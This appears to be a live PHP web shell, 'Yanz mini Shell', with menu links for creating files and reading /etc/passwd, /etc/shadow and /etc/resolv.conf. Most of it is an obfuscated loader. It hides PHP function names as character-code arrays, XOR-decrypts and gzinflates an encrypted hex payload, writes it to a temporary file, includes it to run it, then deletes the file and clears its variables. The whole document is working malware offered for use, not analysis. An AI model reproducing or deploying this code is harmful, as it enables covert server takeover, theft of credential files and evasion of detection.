Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php $fn_hex = function($a) { return implode('', array_map('chr', $a)); };
$_d19e09fc = $fn_hex(array (
  0 => 99,
  1 => 114,
  2 => 99,
  3 => 51,
  4 => 50
));
$_cb5444cb = $fn_hex(array (
  0 => 117,
  1 => 110,
  2 => 108,
  3 => 105,
  4 => 110,
  5 => 107
));
$_ed0b444e = $fn_hex(array (
  0 => 105,
  1 => 115,
  2 => 95,
  3 => 119,
  4 => 114,
  5 => 105,
  6 => 116,
  7 => 97,
  8 => 98,
  9 => 108,
  10 => 101
));
$_ec554d7e = $fn_hex(array (
  0 => 102,
  1 => 105,
  2 => 108,
  3 => 101,
  4 => 95,
  5 => 112,
  6 => 117,
  7 => 116,
  8 => 95,
  9 => 99,
  10 => 111,
  11 => 110,
  12 => 116,
  13 => 101,
  14 => 110,
  15 => 116,
  16 => 115
));
$_4fbae72b = $fn_hex(array (
  0 => 115,
  1 => 121,
  2 => 115,
  3 => 95,
  4 => 103,
  5 => 101,
  6 => 116,
  7 => 95,
  8 => 116,
  9 => 101,
  10 => 109,
  11 => 112,
  12 => 95,
  13 => 100,
  14 => 105,
  15 => 114
));
$_c48f2926 = $fn_hex(array (
  0 => 104,
  1 => 101,
  2 => 120,
  3 => 50,
  4 => 98,
  5 => 105,
  6 => 110
));
$_2a936086 = $fn_hex(array (
  0 => 115,
  1 => 116,
  2 => 114,
  3 => 108,
  4 => 101,
  5 => 110
));
$_4cb84493 = $fn_hex(array (
  0 => 103,
  1 => 122,
  2 => 105,
  3 => 110,
  4 => 102,
  5 => 108,
  6 => 97,
  7 => 116,
  8 => 101
));
$_acb38585 = $fn_hex(array (
  0 => 116,
  1 => 101,
  2 => 109,
  3 => 112,
  4 => 110,
  5 => 97,
  6 => 109
));
$_239d575d = $fn_hex(array (
  0 => 105,
  1 => 109,
  2 => 112,
  3 => 108,
  4 => 111,
  5 => 100,
  6 => 101
));
$_b60d264e = $fn_hex(array (
  0 => 115,
  1 => 116,
  2 => 114,
  3 => 112,
  4 => 111,
  5 => 115
));
$_3dc24e47 = $fn_hex(array (
  0 => 115,
  1 => 117,
  2 => 98,
  3 => 115,
  4 => 116,
  5 => 114
));

$hex_hex_p0 = '93685644ee180f8ef73538458f276504b66849469d72482b7b80237961e2fdf3a82180000c54f8283e97a05408a482199f89b86f1528e0a648b750c19dcc2e8ec18433dde2f5adaf07fdf4e2c9afa910c091b47b53cde7f2ea54eb45c904a75fa38f3bb0eecc6dbf5e7c3d6f7e159b4605a1adfd03e7ece912cf06c731b3babd6b5ba0f931e6d4f2c2621a36a7ce6294099be36d783254971b7d6e26d71e994da322c2a948d80149c73e26183c9b22b146d0d7a8e1504ebef92e4c6f21b30b3db5f2d6da801ded5e1ec1e8bb1b80b6d9e0032b6a32c32e9b261959d8a680b159a18bcd37e6baac2647870064433625d5c24f07edb5f90ca43c5bc2e24d684d85e7e1112b785a67888a6c6058f9a5a6d806b38ef4f0e0d935742e34d40d5662c0a7306d4793a542be649efa00a4e66ba8b52a98a21a59d6d8dfc1eb451ca718023fae3c8f0fa9c7e5dbc552f0c8719bf7fb17e142bba260718bc3378ad24d0fe07c8a1f31db81a2c5290b768d45d718d301eebe4110c9d2a11ba5be5409042a7b4b501a79f1391d4f0b4edb53a083723b552320c2716b154034ab8f547295fb3ed22eb30a338dd77747e3364d293c7b43a90dfcb18c2532d549bddbfe8c836b076b65e5aa59d327f2546097df02bbfde246d3b2de018bfa279197159bcf2b117055bb4317fd6498181575faf3d5e56c3aa74e83c33f361f3c446e323104de1db038b0da796047b722bec5be39cd74d92b1b0bcd25044b2fd9166cf706e543aeef42b600d57aaae6d51acae72c56126d9d5c3ec9e77281d4c46323e28ce898ab447e0dc50637e29f44688ad40cf1b81cae72e995014fbb0836e2b08af5b47152d96a29f92360f9584782f2275948505b6e2cd66917a2aecd19a4ab7fbfe5ac575dc4af57b0952befe7c3b6be607f13b58bb1fe9d3701ce71fec3eb8a850eb8605bf58e6c3de4ea5a7efc74703ca36d906b769bb028bd2b20c90b84d6906ae66dd3daedd742f9213e05d74676cba3a0aab6fcb539e5bce1d2546650b2ba2866eb04353cab496fbc9308dec67c502e5105ce856baaa655297daa94d9aa1d7d8afe6f05e8c920e3f0f1735221bf090b3c7d5e91b5d6abbecd906dedc2110c621f332e0abbf72cdeec62289a4406c06f1fa798683d3ad';
 $hex_hex_p1 = '3ea140bca6b50448cd6e38dbd439f41a0015d7199f1acce64c2666088a7279159392da974c3f74c6823ade0c04a4b801eb8e1826383f186db349f4cb18da81409722b89180c9ffe8978c97376fbddcbf7013c4e445083ef34ec56e86a2dacee289eb64cc144139f292636a92b7d36c0575d205568812a3a5a7e868e993072da1935cc17890dbc85dd52d869997207e4098019cd115ed163a21bbe201462afc18d60b2d6c43ffb1daefc76e3c67f491a075d7677ca830583a7b2379f38e1cc790dda6854af78e71adeeefd19165cfd0aff6a26143badf8108e7a331362277aadf54eb840d5f6159cf9a2823b1a69aa1aaaeb60b4272a449a3bae8eabbe9cd5634b45c656e724753e1725dba778844ac71870d184cc980f71d13622ad71f3639e84288043d585737afd5ae0a7e285ba9f863f468faacabd9cb399158647960b9bca83c22821750bdb01df899cd0d5a92a9b5698ea5ece6cfaadb24e6c7a1ef44b23539555685600189be9b1f31f64553ca4e3b2fdc3739d5b05710835f0de54db87936055cc2d7c9fdd8c46c3d5d1ec6ca7d0220d936b50464a8d973d79245e29f40cf100eac275e9283d191b354e558a75a44a71419596e51a899bc78faed1b14d221693143dab5720cb9727ff5d8af75ae8b28f4911e63ec0e283086d6037238710213d0b0077ea7edfab639798f989ddee3bc91196158155fbd9cb0eb7bb011e20c93cbb57211976c44b06544a8cd4fc811d67812a74504588e4031fa5fccbba424c41590eb26ff57b2ef7885639188140c36655a3cca25ce9821aed23b320763a40bda5bd4704ce03d431461de5a859dac19e12f6d084996eb05a08baefab0af900292747da77cf578a5bf7c527dd6b5c3745c314715abf44953474f9722284906041c849823a39bf65a1be5bcbd214b400b3688ba14ce536d654e1f37e6172fece335abb27a429c8b54240d2599cc51319369dfe3d1b3ccf4dde3816cd0e90132e25f27b950ac19cb87927ab8f19d443eb7e6aafb9f7fa766351c48b2eb83f4b0452414b4145eb0ffc0e82ea4e815013f77683f7f65955b56075b18dd4fc1026bfc740049371c820c1b117f85191904cfe0cf5aae84e8001c0ecfd12168daa07eeb9e1cc44f8b72b19295fc465d9ad4a0c3df389212832849a332114f1b7ea367a27254faf265df0b6d01e8e01eaa62a7b87a65a53964d1d67e98986a149919732a5ac6cdfa454de08b41c7e8985704a0a953a67402952efb8e8e086c3cc15c96a1eab159c71a1f6e23d40f2e942bbb9248e42cba5f6e3565559b3b26b741880f471a792ca3ce76a40bee5e772ebb6fb65292dd332414e53b876914a9e505bfd94790f8a6c0e96e8a375009286650f7833cd7dbc2495a2bf8202294b7a8ace7ad62d79a5a190cde3';
 $hex_hex = $_239d575d('', [$hex_hex_p0, $hex_hex_p1]);

$m_start = '655297daa94d9aa1d7d8afe6f05e8c92';
 $m_end = 'cdeec62289a4406c06f1fa798683d3ad';
 $pos_s = $_b60d264e($hex_hex, $m_start);
 $pos_e = $_b60d264e($hex_hex, $m_end);
 
  if ($pos_s !== false && $pos_e !== false) {
    $key_hex = $_3dc24e47($hex_hex, $pos_s + 32, 64);
        $hex_hex = $_3dc24e47($hex_hex, 0, $pos_s) . $_3dc24e47($hex_hex, $pos_e + 32);
 } else {
    exit('Error decoding sequence.');
 }

$raw_hex = $_c48f2926($hex_hex);
 $key_hex_bin = $_c48f2926($key_hex);
 $dec_hex = '';
 $len_hex = $_2a936086($raw_hex);
 $len_hexk = $_2a936086($key_hex_bin);
for ($i = 0; $i < $len_hex; $i++) {
    $dec_hex .= chr(ord($raw_hex[$i]) ^ ord($key_hex_bin[$i % $len_hexk]));
}

$code_hex = $_4cb84493($dec_hex);

if (sprintf('%u', $_d19e09fc($code_hex)) === '1550797965') {
    $dir_hex = $_4fbae72b();
    if (!$_ed0b444e($dir_hex)) { $dir_hex = __DIR__; }
    $file_hex = $_acb38585($dir_hex, 'd2c459');
    if ($file_hex) {
        $_ec554d7e($file_hex, $code_hex);
        if (@filesize($file_hex) > 0) { include $file_hex; }
        $_cb5444cb($file_hex);
    }
}

unset($hex_hex, $key_hex, $raw_hex, $dec_hex, $code_hex, $file_hex, $dir_hex, $key_hex_bin, $fn_hex, $len_hex, $len_hexk, $m_start, $m_end, $pos_s, $pos_e, $_d19e09fc, $_cb5444cb, $_ed0b444e, $_ec554d7e, $_4fbae72b, $_c48f2926, $_2a936086, $_4cb84493, $_acb38585, $_239d575d, $_b60d264e, $_3dc24e47);